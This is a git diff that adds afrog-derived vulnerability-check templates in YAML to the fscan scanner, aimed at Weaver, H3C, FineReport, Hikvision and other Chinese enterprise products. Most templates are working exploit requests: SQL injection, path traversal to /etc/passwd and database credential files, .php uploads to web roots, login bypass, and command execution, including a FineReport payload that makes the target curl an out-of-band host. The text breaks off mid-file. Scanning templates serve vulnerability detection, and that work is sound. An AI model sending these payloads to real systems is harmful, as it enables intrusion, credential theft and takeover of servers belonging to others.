webscan/pocs/emobile-lang2sql-fileupload.yaml | 40 ++++++++++++++ ...eoffice-mobile-upload-save-fileupload.yaml | 50 ++++++++++++++++++ .../pocs/eoffice-officeserver-fileupload.yaml | 43 +++++++++++++++ .../pocs/fanruan-finereport-fr-log-rce.yaml | 37 +++++++++++++ webscan/pocs/h3c-cvm-fileupload.yaml | 40 ++++++++++++++ webscan/pocs/h3c-jquery-172-file-read.yaml | 22 ++++++++ ...service-dynamiccontent-properties-rce.yaml | 17 ++++++ ...and-china-srm-tomcat-jsp-login-bypass.yaml | 31 +++++++++++ .../hikvision-anfang-report-fileupload.yaml | 42 +++++++++++++++ .../hikvision-applyautologinticket-rce.yaml | 27 ++++++++++ webscan/pocs/hikvision-fastjson-rce.yaml | 30 +++++++++++ webscan/pocs/hikvision-files-upload.yaml | 37 +++++++++++++ webscan/pocs/jindie-eas-autologin-rce.yaml | 29 +++++++++++ ...ie-yunxingkong-dynamicformservice-rce.yaml | 32 ++++++++++++ .../pocs/landary-eis-saveimg-fileupload.yaml | 41 +++++++++++++++ webscan/pocs/landray-dataxml-jsp-rce.yaml | 52 +++++++++++++++++++ ...rmMainDataInsystemWebservice-fileread.yaml | 50 ++++++++++++++++++ webscan/pocs/landray-oa-datajson-rce.yaml | 24 +++++++++ ...-oa-kmImeetingBookWebService-fileread.yaml | 48 +++++++++++++++++ ...y-oa-kmImeetingResWebService-fileread.yaml | 45 ++++++++++++++++ ...ay-oa-loginWebserviceService-fileread.yaml | 44 ++++++++++++++++ ...y-oa-sysNotifyTodoWebService-fileread.yaml | 44 ++++++++++++++++ ...a-sysSynchroGetOrgWebService-fileread.yaml | 44 ++++++++++++++++ .../landray-oa-sysTagWebService-fileread.yaml | 44 ++++++++++++++++ .../pocs/landray-oa-syssearchmain-rce.yaml | 25 +++++++++ .../landray-oa-sysuicomponent-fileupload.yaml | 52 +++++++++++++++++++ .../pocs/nacos-config-server-sql-inject.yaml | 26 ++++++++++ .../pocs/nacos-core-auth-enabled-bypass.yaml | 19 +++++++ .../pocs/nacos-secret-default-key-unauth.yaml | 21 ++++++++ webscan/pocs/nacos-severidentity-bypass.yaml | 24 +++++++++ webscan/pocs/nacos-token-create-user.yaml | 33 ++++++++++++ .../pocs/qiyuesuo-template-html-add-rce.yaml | 28 ++++++++++ .../qiyuesuo-template-param-edits-rce.yaml | 28 ++++++++++ webscan/pocs/ruijie-eweb-route-auth-rce.yaml | 33 ++++++++++++ .../pocs/ruijie-excu-shell-disclosure.yaml | 2 +- webscan/pocs/ruijie-nbr-fileupload.yaml | 38 ++++++++++++++ webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml | 24 +++++++++ webscan/pocs/ruijie-route-control-rce.yaml | 35 +++++++++++++ webscan/pocs/sangfor-dc-sangforindex-xxe.yaml | 30 +++++++++++ webscan/pocs/sangfor-logcent-rce.yaml | 25 +++++++++ webscan/pocs/sangfor-login-rce.yaml | 26 ++++++++++ webscan/pocs/seeyon-ajax-do-fileupload.yaml | 39 ++++++++++++++ .../pocs/seeyon-getajaxdataservlet-xxe.yaml | 26 ++++++++++ .../tongda-down-php-unauthorized-access.yaml | 2 +- .../wanhu-evointerfaceservlet-unauth.yaml | 2 +- webscan/pocs/yonyou-maportal-unauth.yaml | 2 +- webscan/pocs/yonyou-nc-download-fileread.yaml | 2 +- .../pocs/yonyou-nc-word-docx-fileread.yaml | 2 +- .../yonyou-u8-crm-getemaildata-fileread.yaml | 2 +- 59 files changed, 1658 insertions(+), 12 deletions(-) create mode 100644 webscan/pocs/ecology-filedownload-lfi.yaml create mode 100644 webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml create mode 100644 webscan/pocs/ecology-getselectallid-sqli.yaml create mode 100644 webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml create mode 100644 webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml create mode 100644 webscan/pocs/ecology-resourceservlet-lfi.yaml create mode 100644 webscan/pocs/ecology-signaturedownload-fileread.yaml create mode 100644 webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml create mode 100644 webscan/pocs/emobile-lang2sql-fileupload.yaml create mode 100644 webscan/pocs/eoffice-mobile-upload-save-fileupload.yaml create mode 100644 webscan/pocs/eoffice-officeserver-fileupload.yaml create mode 100644 webscan/pocs/fanruan-finereport-fr-log-rce.yaml create mode 100644 webscan/pocs/h3c-cvm-fileupload.yaml create mode 100644 webscan/pocs/h3c-jquery-172-file-read.yaml create mode 100644 webscan/pocs/h3c-mselfservice-dynamiccontent-properties-rce.yaml create mode 100644 webscan/pocs/hand-china-srm-tomcat-jsp-login-bypass.yaml create mode 100644 webscan/pocs/hikvision-anfang-report-fileupload.yaml create mode 100644 webscan/pocs/hikvision-applyautologinticket-rce.yaml create mode 100644 webscan/pocs/hikvision-fastjson-rce.yaml create mode 100644 webscan/pocs/hikvision-files-upload.yaml create mode 100644 webscan/pocs/jindie-eas-autologin-rce.yaml create mode 100644 webscan/pocs/jindie-yunxingkong-dynamicformservice-rce.yaml create mode 100644 webscan/pocs/landary-eis-saveimg-fileupload.yaml create mode 100644 webscan/pocs/landray-dataxml-jsp-rce.yaml create mode 100644 webscan/pocs/landray-ekp-sysFormMainDataInsystemWebservice-fileread.yaml create mode 100644 webscan/pocs/landray-oa-datajson-rce.yaml create mode 100644 webscan/pocs/landray-oa-kmImeetingBookWebService-fileread.yaml create mode 100644 webscan/pocs/landray-oa-kmImeetingResWebService-fileread.yaml create mode 100644 webscan/pocs/landray-oa-loginWebserviceService-fileread.yaml create mode 100644 webscan/pocs/landray-oa-sysNotifyTodoWebService-fileread.yaml create mode 100644 webscan/pocs/landray-oa-sysSynchroGetOrgWebService-fileread.yaml create mode 100644 webscan/pocs/landray-oa-sysTagWebService-fileread.yaml create mode 100644 webscan/pocs/landray-oa-syssearchmain-rce.yaml create mode 100644 webscan/pocs/landray-oa-sysuicomponent-fileupload.yaml create mode 100644 webscan/pocs/nacos-config-server-sql-inject.yaml create mode 100644 webscan/pocs/nacos-core-auth-enabled-bypass.yaml create mode 100644 webscan/pocs/nacos-secret-default-key-unauth.yaml create mode 100644 webscan/pocs/nacos-severidentity-bypass.yaml create mode 100644 webscan/pocs/nacos-token-create-user.yaml create mode 100644 webscan/pocs/qiyuesuo-template-html-add-rce.yaml create mode 100644 webscan/pocs/qiyuesuo-template-param-edits-rce.yaml create mode 100644 webscan/pocs/ruijie-eweb-route-auth-rce.yaml create mode 100644 webscan/pocs/ruijie-nbr-fileupload.yaml create mode 100644 webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml create mode 100644 webscan/pocs/ruijie-route-control-rce.yaml create mode 100644 webscan/pocs/sangfor-dc-sangforindex-xxe.yaml create mode 100644 webscan/pocs/sangfor-logcent-rce.yaml create mode 100644 webscan/pocs/sangfor-login-rce.yaml create mode 100644 webscan/pocs/seeyon-ajax-do-fileupload.yaml create mode 100644 webscan/pocs/seeyon-getajaxdataservlet-xxe.yaml diff --git a/webscan/pocs/THIRD_PARTY_NOTICES.md b/webscan/pocs/THIRD_PARTY_NOTICES.md index 8163a9f..1c7b1d9 100644 --- a/webscan/pocs/THIRD_PARTY_NOTICES.md +++ b/webscan/pocs/THIRD_PARTY_NOTICES.md @@ -1,13 +1,13 @@ # Third-party POC notices -The 50 `.yaml` POC files added for the fscan 2.2.1 trial set were selected +The 100 `.yaml` POC files added for the fscan 2.2.1 trial sets were selected from `zan8in/afrog` commit `9f792687ed156d63344016f8bf658946079fb494`: https://github.com/zan8in/afrog -Only non-destructive detection, unauthorized-access, information-disclosure, -and path-read checks were selected. The original project is licensed under -the MIT License: +The first set focused on non-destructive checks. The second set also includes +RCE, file-write, and file-upload verification rules. The original project is +licensed under the MIT License: MIT License diff --git a/webscan/pocs/docker-registry-api-unauth.yaml b/webscan/pocs/docker-registry-api-unauth.yaml index bb5fca0..18babac 100644 --- a/webscan/pocs/docker-registry-api-unauth.yaml +++ b/webscan/pocs/docker-registry-api-unauth.yaml @@ -18,4 +18,4 @@ rules: method: GET path: /v2/_catalog expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories") -expression: r0() && r1()+ +expression: r0() && r1() diff --git a/webscan/pocs/ecology-filedownload-lfi.yaml b/webscan/pocs/ecology-filedownload-lfi.yaml new file mode 100644 index 0000000..609446a --- /dev/null +++ b/webscan/pocs/ecology-filedownload-lfi.yaml @@ -0,0 +1,22 @@ +id: ecology-filedownload-lfi + +info: + name: 泛微 OA ecology 本地文件读取 + author: l1nk3r + severity: high + verified: true + description: |- + 泛微OA e-cology 文件下载目录遍历 + fofa: app="泛微-协同办公OA" + reference: + - https://www.weaver.com.cn/cs/securityDownload.asp + tags: ecology,directory-traversal + created: 2023/06/23 + +rules: + r0: + request: + method: GET + path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml + expression: response.status == 200 && response.body.bcontains(b"/weaver/") +expression: r0() diff --git a/webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml b/webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml new file mode 100644 index 0000000..b723293 --- /dev/null +++ b/webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml @@ -0,0 +1,44 @@ +id: ecology-filedownloadforoutdoc-sqli + +info: + name: 泛微 OA filedownloadforoutdoc - SQL injection + author: zan8in + severity: high + verified: true + description: |- + 泛微 OA filedownloadforoutdoc interface has SQL injection + fofa: app="泛微-协同办公OA" + tags: ecology,sqli + created: 2023/07/11 + +set: + rand0: randomInt(100,199) + rand1: randomInt(200,299) + rand2: randomInt(300,399) + rand3: randomInt(400,499) +rules: + r0: + request: + method: POST + path: /weaver/weaver.file.FileDownloadForOutDoc + body: isFromOutImg=1&fileid={{rand0}}+WAITFOR+DELAY+'0:0:10' + expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000 + r1: + request: + method: POST + path: /weaver/weaver.file.FileDownloadForOutDoc + body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6' + expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000 + r2: + request: + method: POST + path: /weaver/weaver.file.FileDownloadForOutDoc + body: isFromOutImg=1&fileid={{rand2}}+WAITFOR+DELAY+'0:0:10' + expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000 + r3: + request: + method: POST + path: /weaver/weaver.file.FileDownloadForOutDoc + body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6' + expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000 +expression: r0() && r1() && r2() && r3() diff --git a/webscan/pocs/ecology-getselectallid-sqli.yaml b/webscan/pocs/ecology-getselectallid-sqli.yaml new file mode 100644 index 0000000..76f06e9 --- /dev/null +++ b/webscan/pocs/ecology-getselectallid-sqli.yaml @@ -0,0 +1,22 @@ +id: ecology-getselectallid-sqli + +info: + name: 泛微OA E-Cology getdata.jsp SQL注入漏洞 + author: Print1n + severity: high + verified: true + description: |- + 泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限 app="泛微-协同办公OA" + tags: weaver,ecology,sqli + created: 2023/06/23 + +set: + r1: randomInt(1000, 9999) + r2: randomInt(1000, 9999) +rules: + r0: + request: + method: GET + path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +expression: r0() diff --git a/webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml b/webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml new file mode 100644 index 0000000..f813ea7 --- /dev/null +++ b/webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml @@ -0,0 +1,22 @@ +id: ecology-hrmcareerapplyperview-sqli + +info: + name: 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞 + author: zan8in + severity: high + verified: true + description: |- + 泛微OA HrmCareerApplyPerView.jsp文件存在SQL注入漏洞，攻击者通过漏洞可以读取服务器敏感文件 + fofa: app="泛微-协同办公OA" + tags: weaver,ecology,sqli + created: 2025/06/11 + +set: + randstr: randLowercase(6) +rules: + r0: + request: + method: GET + path: /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1 union select 1,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','{{randstr}}')),db_name(1),5,6,7 + expression: response.status == 200 && response.body.bcontains(bytes(md5(randstr))) +expression: r0() diff --git a/webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml b/webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml new file mode 100644 index 0000000..5e9331e --- /dev/null +++ b/webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml @@ -0,0 +1,24 @@ +id: ecology-jqueryfiletree-directory-traversal + +info: + name: 泛微OA E-Cology jqueryFileTree.jsp 目录遍历漏洞 + author: zan8in + severity: high + verified: true + description: |- + 泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等，其中 jqueryFileTree.jsp 文件中 dir 参数存在目录遍历漏洞，攻击者通过漏洞可以获取服务器文件目录信息 + fofa: app="泛微-协同办公OA" + tags: weaver,ecology,directory-traversal + created: 2023/06/23 + +rules: + r0: + request: + method: GET + path: /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ + expression: | + response.status == 200 && + response.body.bcontains(b'index.jsp') && + response.body.bcontains(b'PortalCenter.jsp') && + response.body.bcontains(b'PortalSettingOperation.jsp') +expression: r0() diff --git a/webscan/pocs/ecology-resourceservlet-lfi.yaml b/webscan/pocs/ecology-resourceservlet-lfi.yaml new file mode 100644 index 0000000..7ad3268 --- /dev/null +++ b/webscan/pocs/ecology-resourceservlet-lfi.yaml @@ -0,0 +1,21 @@ +id: ecology-resourceservlet-lfi + +info: + name: 泛微OA e-cology ResourceServlet 本地文件读取 + author: l1nk3r + severity: critical + verified: true + description: |- + 泛微OA e-cology springframework 本地文件读取 + reference: + - https://www.weaver.com.cn/cs/securityDownload.asp + tags: weaver,ecology,lfi + created: 2023/06/23 + +rules: + r0: + request: + method: GET + path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml + expression: response.status == 200 && response.body.bcontains(b"/weaver/") +expression: r0() diff --git a/webscan/pocs/ecology-signaturedownload-fileread.yaml b/webscan/pocs/ecology-signaturedownload-fileread.yaml new file mode 100644 index 0000000..6e8cc7c --- /dev/null +++ b/webscan/pocs/ecology-signaturedownload-fileread.yaml @@ -0,0 +1,25 @@ +id: ecology-signaturedownload-fileread + +info: + name: 泛微 OA ecology SignatureDownLoad 任意文件读取 + author: daffainfo + severity: critical + verified: true + description: |- + 泛微协同管理平台e-weaver继承e-cology八大功能模块应用，并可进一步打通企业更深层的个性管理需求，基于协同思想打造全面整合企业管理资源的环境。e-weaver基于工作流引擎＋卡片/表单＋组件模式，全面开放已有八大功能的配置应用，同时还可以根据用户个性的管理需求，增添企业独立的应用模块功能，从而形成完全符合自身企业的全面协同管理应用解决方案。泛微OA e-weaver平台SignatureDownLoad处存在敏感信息泄露漏洞，攻击者通过漏洞可以获取数据库服务器权限。 + fofa: app="泛微-E-Weaver" + reference: + - https://mp.weixin.qq.com/s/71v9SgVLJk2jg0kBVhkTpA + tags: weaver,ecology,fileread + created: 2023/06/23 + +rules: + r0: + request: + method: GET + path: /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27 + expression: | + response.status == 200 && + response.body.bcontains(b'ecology.user=') && + response.body.bcontains(b'ecology.password=') +expression: r0() diff --git a/webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml b/webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml new file mode 100644 index 0000000..a192db7 --- /dev/null +++ b/webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml @@ -0,0 +1,21 @@ +id: ecology-verifyquicklogin-login-bypass + +info: + name: 泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞 + author: zan8in + severity: high + verified: true + description: |- + 泛微OA E-Cology VerifyQuickLogin.jsp文件中存在任意管理员登录漏洞，攻击着通过发送特殊的请求包可以获取管理员Session + fofa: app="泛微-协同办公OA" + tags: weaver,ecology,bypass + created: 2023/06/23 + +rules: + r0: + request: + method: POST + path: /mobile/plugin/VerifyQuickLogin.jsp + body: identifier=1&language=1&ipaddress=x.x.x.x + expression: response.status == 200 && response.body.bcontains(b'"sessionkey":') && response.body.bcontains(b'"message":') +expression: r0() diff --git a/webscan/pocs/emobile-lang2sql-fileupload.yaml b/webscan/pocs/emobile-lang2sql-fileupload.yaml new file mode 100644 index 0000000..2680fbd --- /dev/null +++ b/webscan/pocs/emobile-lang2sql-fileupload.yaml @@ -0,0 +1,40 @@ +id: emobile-lang2sql-fileupload + +info: + name: 泛微移动管理平台E-mobile lang2sql接口存在任意文件上传 + author: zan8in + severity: critical + verified: true + description: |- + fofa: title="移动管理平台-企业管理" + zoomeye: app:"泛微移动办公平台e-mobile" + reference: + - https://mp.weixin.qq.com/s/beQWjJW1pt3vjF3PTvwxLA + tags: ecology,emobile,fileuplaod + created: 2023/11/07 + +set: + randstr: randomLowercase(6) + randbody: randomLowercase(56) + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /emp/lang2sql?client_type=1&lang_tag=1 + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} + body: "\ + ------WebKitFormBoundary{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"file\"; filename=\"../../../../appsvr/tomcat/webapps/ROOT/{{randstr}}.txt\"\r\n\ + \r\n\ + {{randbody}}\r\n\ + ------WebKitFormBoundary{{rboundary}}--\r\n\ + " + expression: response.status == 200 && response.body.bcontains(b'"errcode"') + r1: + request: + method: GET + path: /{{randstr}}.txt + expression: response.status == 200 && response.body.bcontains(bytes(randbody)) +expression: r0() && r1() diff --git a/webscan/pocs/eoffice-mobile-upload-save-fileupload.yaml b/webscan/pocs/eoffice-mobile-upload-save-fileupload.yaml new file mode 100644 index 0000000..3df2ede --- /dev/null +++ b/webscan/pocs/eoffice-mobile-upload-save-fileupload.yaml @@ -0,0 +1,50 @@ +id: eoffice-mobile-upload-save-fileupload + +info: + name: 泛微 E-Office v9.5 mobile_upload_save 任意文件上传漏洞 + author: zan8in + severity: critical + verified: true + description: |- + weaver E-Office v9.5 file upload vulnerability official + fofa: app="泛微-EOffice" + reference: + - https://github.com/sunyixuan1228/cve/blob/main/weaver.md?ref=www.ctfiot.com + - https://www.ctfiot.com/116750.html + - https://www.e-office.cn/ + tags: weaver,ecology,eoffice,fileupload + created: 2023/07/11 + +set: + filename: randomLowercase(4) + randbody: randomLowercase(32) + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save + headers: + Content-Type: multipart/form-data; boundary=----WebKitForm{{rboundary}} + body: | + ------WebKitForm{{rboundary}} + Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP." + Content-Type: image/jpeg + + {{randbody}} + ------WebKitForm{{rboundary}} + Content-Disposition: form-data; name="file"; filename="" + Content-Type: application/octet-stream + + + ------WebKitForm{{rboundary}}-- + expression: response.status == 200 && response.body.bcontains(bytes(filename + ".phP")) + output: + search: '"\",(?P[0-9]{10}),\"".bsubmatch(response.body)' + id: search["id"] + r1: + request: + method: GET + path: /attachment/{{id}}/{{filename}}.phP + expression: response.status == 200 && response.body.bcontains(bytes(randbody)) +expression: r0() && r1() diff --git a/webscan/pocs/eoffice-officeserver-fileupload.yaml b/webscan/pocs/eoffice-officeserver-fileupload.yaml new file mode 100644 index 0000000..483adfa --- /dev/null +++ b/webscan/pocs/eoffice-officeserver-fileupload.yaml @@ -0,0 +1,43 @@ +id: weaver-eoffice-officeserver-fileupload + +info: + name: 泛微OA E-Office OfficeServer.php 任意文件上传漏洞 + author: zan8in + severity: critical + verified: true + description: | + 泛微OA E-Office OfficeServer.php 存在任意文件上传漏洞，攻击者通过漏洞可以获取到服务器敏感信息 + fofa: app="泛微-EOffice" + tags: weaver,eoffice,fileupload + created: 2024/02/21 + +set: + randstr: randomLowercase(12) + rbody: randomLowercase(32) + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /eoffice10/server/public/iWebOffice2015/OfficeServer.php + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} + body: | + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data;name="FileData";filename="{{randstr}}.php" + Content-Type: application/octet-stream + + + + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data;name="FormData" + + {'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{randstr}}.php'} + ------WebKitFormBoundary{{rboundary}}--" + expression: response.status == 200 + r1: + request: + method: GET + path: /eoffice10/server/public/iWebOffice2015/Document/{{randstr}}.php + expression: response.status == 200 && response.body.bcontains(bytes(md5(rbody))) +expression: r0() && r1() diff --git a/webscan/pocs/fanruan-finereport-fr-log-rce.yaml b/webscan/pocs/fanruan-finereport-fr-log-rce.yaml new file mode 100644 index 0000000..2776876 --- /dev/null +++ b/webscan/pocs/fanruan-finereport-fr-log-rce.yaml @@ -0,0 +1,37 @@ +id: fanruan-finereport-fr-log-rce + +info: + name: 帆软 FineReport Fr Log Rce + author: xpoc + severity: critical + verified: true + description: |- + fofa: app="帆软-FineReport" + reference: + - https://xz.aliyun.com/t/11064 + tags: fanruan,finereport,rce + created: 2023/06/23 + +set: + nowtime: timestamp_second() +rules: + r0: + request: + method: GET + path: /WebReport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin + expression: response.status == 200 && response.body.bcontains(b"sessionID") + output: + search: '"op=widget&widgetname=widget9&sessionID=(?P.*?)\",\"type".bsubmatch(response.body)' + sessionID: search["sessionID"] + r1: + request: + method: POST + path: /WebReport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID={{sessionID}} + body: __parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl {{oob.HTTP}}');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2} + expression: response.status == 200 + r2: + request: + method: GET + path: /WebReport/ReportServer?_={{nowtime}}585&__boxModel__=true&op=page_content&sessionID={{sessionID}}&pn=1 + expression: oobCheck(oob.ProtocolHTTP, 3) +expression: r0() && r1() && r2() diff --git a/webscan/pocs/h3c-cvm-fileupload.yaml b/webscan/pocs/h3c-cvm-fileupload.yaml new file mode 100644 index 0000000..a48b8e0 --- /dev/null +++ b/webscan/pocs/h3c-cvm-fileupload.yaml @@ -0,0 +1,40 @@ +id: h3c-cvm-fileupload + +info: + name: H3C CVM 前台任意文件上传漏洞 + author: daffainfo + severity: critical + verified: true + description: |- + H3C公司依托其强大的技术实力、产品与服务优势，以及深入人心的以客户为中心的理念，为企业数据中心IaaS云计算基础架构提供最优化的虚拟化与云业务运营解决方案。通过H3CCASCVM虚拟化管理系统实现数据中心虚拟化环境的中央管理控制，以简洁的管理界面，统一管理数据中心内所有的物理资源和虚拟资源，不仅能提高管理员的管控能力、简化日常例行工作，更可降低IT环境的复杂度和管理成本。H3CCVM存在任意文件上传漏洞，攻击者可以上传任意文件，获取webshell，控制服务器权限，读取敏感信息等。 + fofa: server="H3C-CVM" + tags: h3c,cvm,fileupload + created: 2023/07/25 + +set: + baseurl: request.url + r1: randomLowercase(8) + r2: md5(r1) +rules: + r0: + request: + method: POST + path: /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{r1}}.txt&name=222 + headers: + Content-Range: "bytes 0-110/120" + Referer: "{{baseurl}}/cas/login" + Accept-Encoding: "gzip, deflate" + Content-Type: "" + body: "{{r2}}" + expression: response.status == 200 && response.body.bcontains(b'message') && response.body.bcontains(b'success') && response.body.bcontains(b'true') + r1: + request: + method: GET + path: /cas/js/lib/buttons/{{r1}}.txt + headers: + Content-Range: "bytes 0-110/120" + Referer: "{{baseurl}}/cas/login" + Accept-Encoding: "gzip, deflate" + Content-Type: "" + expression: response.status == 200 && response.body.bcontains(bytes(r2)) +expression: r0() && r1() diff --git a/webscan/pocs/h3c-jquery-172-file-read.yaml b/webscan/pocs/h3c-jquery-172-file-read.yaml new file mode 100644 index 0000000..b4f7979 --- /dev/null +++ b/webscan/pocs/h3c-jquery-172-file-read.yaml @@ -0,0 +1,22 @@ +id: h3c-jquery-172-file-read + +info: + name: H3C 用户网管登录系统 jQuery-1.7.2 存在任意文件读取 + author: zan8in + severity: high + verified: true + description: |- + h3c用户网管登录系统jQuery-1.7.2存在任意文件读取漏洞，其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞，攻击者可通过前台读取任意文件。 + fofa: body="webui/js/jquerylib/jquery-1.7.2.min.js" + reference: + - https://mp.weixin.qq.com/s/PnFzkwH4NZ0FhkKQ73l1IQ + created: 2023/05/26 + tags: cve,cve2023,fileread,h3c + +rules: + r0: + request: + method: GET + path: /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down + expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body) +expression: r0() diff --git a/webscan/pocs/h3c-mselfservice-dynamiccontent-properties-rce.yaml b/webscan/pocs/h3c-mselfservice-dynamiccontent-properties-rce.yaml new file mode 100644 index 0000000..5218f60 --- /dev/null +++ b/webscan/pocs/h3c-mselfservice-dynamiccontent-properties-rce.yaml @@ -0,0 +1,17 @@ +id: h3c-mselfservice-dynamiccontent-properties-rce +info: + name: H3C 用户自助服务平台 dynamiccontent.properties.xhtml RCE 漏洞 + severity: critical + author: zan8in + verified: true + tags: h3c,mselfservice,rce + created: 2024/04/10 + +rules: + r0: + request: + method: POST + path: /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml + body: "pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=ipconfig" + expression: response.status == 200 && response.body.bcontains(b'Windows IP') +expression: r0() diff --git a/webscan/pocs/hand-china-srm-tomcat-jsp-login-bypass.yaml b/webscan/pocs/hand-china-srm-tomcat-jsp-login-bypass.yaml new file mode 100644 index 0000000..fe80bb9 --- /dev/null +++ b/webscan/pocs/hand-china-srm-tomcat-jsp-login-bypass.yaml @@ -0,0 +1,31 @@ +id: hand-china-srm-tomcat-jsp-login-bypass + +info: + name: 汉得 SRM tomcat.jsp 登录绕过漏洞 + author: zan8in + severity: high + verified: true + description: |- + fofa: 汉得SRM云平台 + hunter: 